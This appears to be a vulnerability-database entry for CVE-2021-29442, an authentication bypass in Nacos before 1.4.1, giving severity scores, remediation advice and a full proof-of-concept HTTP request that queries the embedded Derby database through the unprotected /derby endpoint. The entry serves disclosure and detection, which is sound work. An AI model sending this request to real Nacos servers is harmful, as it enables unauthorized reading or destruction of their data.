| Title | Nacos <1.4.1 - Authentication Bypass |
|---|---|
| Author | dwisiswant0 |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server. |
| Remediation | Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442). |
| CVSS Score | 7.5 |
| EPSS Score | 0.94002 |
| CVE ID | CVE-2021-29442 |
| CWE ID | CWE-306 |
| Tags | cve2021 cve nacos auth-bypass alibaba vkev vuln |
Nacos before version 1.4.1 is vulnerable to authentication bypass because the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql).
GET /nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29442.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-29442.pcap
N/AN/A